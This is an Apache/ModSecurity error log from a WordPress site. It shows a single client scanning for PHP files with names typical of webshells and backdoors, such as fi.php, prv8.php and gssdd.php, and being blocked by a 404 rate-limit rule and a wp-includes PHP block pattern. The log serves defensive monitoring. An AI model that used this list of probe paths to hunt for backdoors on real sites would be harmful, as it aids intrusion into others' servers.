[Mon Mar 23 18:44:33.374582 2026] [:error] [pid 23441:tid 23512] [client 65.52.65.130:4021] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "acEZkRq7S-oOqSXZEr7f1AAAAIk"]
[Mon Mar 23 18:44:33.897912 2026] [:error] [pid 23441:tid 23508] [client 65.52.65.130:4051] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "acEZkRq7S-oOqSXZEr7f1gAAAIU"]
[Mon Mar 23 18:44:34.621246 2026] [:error] [pid 23539:tid 23561] [client 65.52.65.130:4017] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "acEZkn7Dh3qWGSpIAZUj-AAAAM0"]
[Mon Mar 23 18:44:35.232443 2026] [:error] [pid 35165:tid 35171] [client 65.52.65.130:16852] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "acEZk86udpN6Esk7JKu_LwAAAYM"]
[Mon Mar 23 18:44:35.887184 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:3985] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "acEZk2NLjPJJkhuqCshJcAAAARY"]
[Mon Mar 23 18:44:36.442142 2026] [:error] [pid 57265:tid 57269] [client 65.52.65.130:3982] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "acEZlGNLjPJJkhuqCshJcwAAAQI"]
[Mon Mar 23 18:44:37.010795 2026] [:error] [pid 57265:tid 57277] [client 65.52.65.130:3980] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "acEZlWNLjPJJkhuqCshJdQAAAQo"]
[Mon Mar 23 18:44:37.616685 2026] [:error] [pid 57265:tid 57280] [client 65.52.65.130:3998] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "acEZlWNLjPJJkhuqCshJeAAAAQ0"]
[Mon Mar 23 18:44:38.339995 2026] [:error] [pid 57265:tid 57272] [client 65.52.65.130:4060] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "acEZlmNLjPJJkhuqCshJfgAAAQU"]
[Mon Mar 23 18:44:38.933896 2026] [:error] [pid 14573:tid 14581] [client 65.52.65.130:3978] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "acEZlu-oSmHn3q4_J1HP7AAAAUY"]
[Mon Mar 23 18:44:39.546189 2026] [:error] [pid 14573:tid 14588] [client 65.52.65.130:4083] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "acEZl--oSmHn3q4_J1HP7QAAAU0"]
[Mon Mar 23 18:44:41.208267 2026] [:error] [pid 23539:tid 23558] [client 65.52.65.130:4048] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "acEZmX7Dh3qWGSpIAZUj_gAAAMo"]
[Mon Mar 23 18:44:41.823619 2026] [:error] [pid 23539:tid 23559] [client 65.52.65.130:16813] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "acEZmX7Dh3qWGSpIAZUkAAAAAMs"]
[Mon Mar 23 18:44:42.386378 2026] [:error] [pid 23439:tid 23460] [client 65.52.65.130:16770] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "acEZmqZv8XIzUKdgaMeS6wAAAAs"]
[Mon Mar 23 18:44:42.896997 2026] [:error] [pid 14573:tid 14591] [client 65.52.65.130:3968] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "acEZmu-oSmHn3q4_J1HP8gAAAVA"]
[Mon Mar 23 18:44:43.472138 2026] [:error] [pid 14573:tid 14578] [client 65.52.65.130:4042] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "acEZm--oSmHn3q4_J1HP9wAAAUM"]
[Mon Mar 23 18:44:44.010031 2026] [:error] [pid 23440:tid 23487] [client 65.52.65.130:16856] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "acEZnD49_8n8h_ttcUo2FwAAAEs"]
[Mon Mar 23 18:44:44.615634 2026] [:error] [pid 23539:tid 23550] [client 65.52.65.130:16802] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "acEZnH7Dh3qWGSpIAZUkBgAAAMI"]
[Mon Mar 23 18:44:45.204508 2026] [:error] [pid 23539:tid 23552] [client 65.52.65.130:3942] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "acEZnX7Dh3qWGSpIAZUkBwAAAMQ"]
[Mon Mar 23 18:44:45.721802 2026] [:error] [pid 23441:tid 23511] [client 65.52.65.130:16828] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "acEZnRq7S-oOqSXZEr7f5AAAAIg"]
[Mon Mar 23 18:44:46.345951 2026] [:error] [pid 14573:tid 14593] [client 65.52.65.130:16824] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "acEZnu-oSmHn3q4_J1HQAQAAAVI"]
[Mon Mar 23 18:44:46.893427 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:3999] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "acEZnu-oSmHn3q4_J1HQAgAAAUw"]
[Mon Mar 23 18:44:48.449696 2026] [:error] [pid 35165:tid 35169] [client 65.52.65.130:4022] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "acEZoM6udpN6Esk7JKu_PgAAAYE"]
[Mon Mar 23 18:44:48.999864 2026] [:error] [pid 35165:tid 35189] [client 65.52.65.130:3971] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "acEZoM6udpN6Esk7JKu_QgAAAZU"]
[Mon Mar 23 18:44:49.715810 2026] [:error] [pid 57265:tid 57267] [client 65.52.65.130:4054] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "acEZoWNLjPJJkhuqCshJjAAAAQA"]
[Mon Mar 23 18:44:51.301969 2026] [:error] [pid 57265:tid 57286] [client 65.52.65.130:4018] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "acEZo2NLjPJJkhuqCshJkwAAARM"]
[Mon Mar 23 18:44:51.850118 2026] [:error] [pid 57265:tid 57274] [client 65.52.65.130:4080] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "acEZo2NLjPJJkhuqCshJmAAAAQc"]
[Mon Mar 23 18:44:52.374107 2026] [:error] [pid 14573:tid 14577] [client 65.52.65.130:3905] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "acEZpO-oSmHn3q4_J1HQDQAAAUI"]
[Mon Mar 23 18:44:52.910737 2026] [:error] [pid 23539:tid 23555] [client 65.52.65.130:3975] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "acEZpH7Dh3qWGSpIAZUkDQAAAMc"]
[Mon Mar 23 18:44:53.495915 2026] [:error] [pid 23539:tid 23568] [client 65.52.65.130:3937] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "acEZpX7Dh3qWGSpIAZUkDgAAANQ"]
[Mon Mar 23 18:44:55.129847 2026] [:error] [pid 35165:tid 35191] [client 65.52.65.130:4070] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "acEZp86udpN6Esk7JKu_TgAAAZc"]
[Mon Mar 23 18:44:55.709162 2026] [:error] [pid 23441:tid 23526] [client 65.52.65.130:3996] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "acEZpxq7S-oOqSXZEr7f6wAAAJc"]
[Mon Mar 23 18:44:56.253041 2026] [:error] [pid 23441:tid 23513] [client 65.52.65.130:16813] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "acEZqBq7S-oOqSXZEr7f7AAAAIo"]
[Mon Mar 23 18:44:56.894154 2026] [:error] [pid 35165:tid 35184] [client 65.52.65.130:3928] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "acEZqM6udpN6Esk7JKu_VgAAAZA"]
[Mon Mar 23 18:44:57.457655 2026] [:error] [pid 35165:tid 35189] [client 65.52.65.130:16864] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "acEZqc6udpN6Esk7JKu_WQAAAZU"]
[Mon Mar 23 18:44:58.055184 2026] [:error] [pid 57265:tid 57285] [client 65.52.65.130:16844] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "acEZqmNLjPJJkhuqCshJqQAAARI"]
[Mon Mar 23 18:44:58.674167 2026] [:error] [pid 35165:tid 35172] [client 65.52.65.130:3948] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "acEZqs6udpN6Esk7JKu_XAAAAYQ"]
[Mon Mar 23 18:45:01.451336 2026] [:error] [pid 23539:tid 23548] [client 65.52.65.130:3912] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "acEZrX7Dh3qWGSpIAZUkFQAAAMA"]
[Mon Mar 23 18:45:01.967612 2026] [:error] [pid 14573:tid 14593] [client 65.52.65.130:4062] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "acEZre-oSmHn3q4_J1HQFQAAAVI"]
[Mon Mar 23 18:45:03.394513 2026] [:error] [pid 57265:tid 57270] [client 65.52.65.130:4093] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "acEZr2NLjPJJkhuqCshJxgAAAQM"]
[Mon Mar 23 18:45:03.913882 2026] [:error] [pid 57265:tid 57278] [client 65.52.65.130:4025] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "acEZr2NLjPJJkhuqCshJyQAAAQs"]
[Mon Mar 23 18:45:07.501879 2026] [:error] [pid 14573:tid 14576] [client 65.52.65.130:4035] File does not exist: /usr/local/apache/htdocs/suspended-page/fi.php
[Mon Mar 23 18:45:07.782844 2026] [:error] [pid 14573:tid 14592] [client 65.52.65.130:4035] File does not exist: /usr/local/apache/htdocs/suspended-page/a1.php
[Mon Mar 23 18:45:08.924093 2026] [:error] [pid 14573:tid 14588] [client 65.52.65.130:4035] [client 65.52.65.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "acEZtO-oSmHn3q4_J1HQKQAAAU0"]
[Mon Mar 23 18:45:09.571020 2026] [:error] [pid 23440:tid 23483] [client 65.52.65.130:4085] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Mon Mar 23 18:45:10.438433 2026] [:error] [pid 23440:tid 23493] [client 65.52.65.130:4085] File does not exist: /usr/local/apache/htdocs/suspended-page/prv8.php
[Mon Mar 23 18:45:10.754701 2026] [:error] [pid 23440:tid 23477] [client 65.52.65.130:4085] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Mon Mar 23 18:45:11.030182 2026] [:error] [pid 23440:tid 23484] [client 65.52.65.130:4085] File does not exist: /usr/local/apache/htdocs/suspended-page/dev.php
[Mon Mar 23 18:45:11.299117 2026] [:error] [pid 23440:tid 23487] [client 65.52.65.130:4085] File does not exist: /usr/local/apache/htdocs/suspended-page/bal.php
[Mon Mar 23 18:45:11.568262 2026] [:error] [pid 23440:tid 23478] [client 65.52.65.130:4085] File does not exist: /usr/local/apache/htdocs/suspended-page/in.php
[Mon Mar 23 18:45:11.834005 2026] [:error] [pid 23440:tid 23491] [client 65.52.65.130:4085] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "acEZtz49_8n8h_ttcUo2KAAAAE8"]
[Mon Mar 23 18:45:14.591541 2026] [:error] [pid 23439:tid 23455] [client 65.52.65.130:4076] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "acEZuqZv8XIzUKdgaMeS8AAAAAY"]
[Mon Mar 23 18:45:15.172770 2026] [:error] [pid 23441:tid 23517] [client 65.52.65.130:4024] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "acEZuxq7S-oOqSXZEr7f9QAAAI4"]
[Mon Mar 23 18:45:16.720513 2026] [:error] [pid 23440:tid 23500] [client 65.52.65.130:4044] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "acEZvD49_8n8h_ttcUo2KwAAAFg"]
[Mon Mar 23 18:45:17.309130 2026] [:error] [pid 23439:tid 23460] [client 65.52.65.130:3945] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "acEZvaZv8XIzUKdgaMeTFAAAAAs"]
[Mon Mar 23 18:45:18.767318 2026] [:error] [pid 23440:tid 23490] [client 65.52.65.130:3920] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "acEZvj49_8n8h_ttcUo2MAAAAE4"]
[Mon Mar 23 18:45:19.285835 2026] [:error] [pid 23440:tid 23481] [client 65.52.65.130:3991] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "acEZvz49_8n8h_ttcUo2MQAAAEU"]
[Mon Mar 23 18:45:20.466429 2026] [:error] [pid 57265:tid 57273] [client 65.52.65.130:4049] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "acEZwGNLjPJJkhuqCshJ7AAAAQY"]
[Mon Mar 23 18:45:21.025580 2026] [:error] [pid 57265:tid 57274] [client 65.52.65.130:3844] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "acEZwWNLjPJJkhuqCshJ7gAAAQc"]
[Mon Mar 23 18:45:22.656291 2026] [:error] [pid 23439:tid 23465] [client 65.52.65.130:3990] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "acEZwqZv8XIzUKdgaMeTIAAAABA"]
[Mon Mar 23 18:45:23.242960 2026] [:error] [pid 23439:tid 23460] [client 65.52.65.130:4068] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "acEZw6Zv8XIzUKdgaMeTIgAAAAs"]
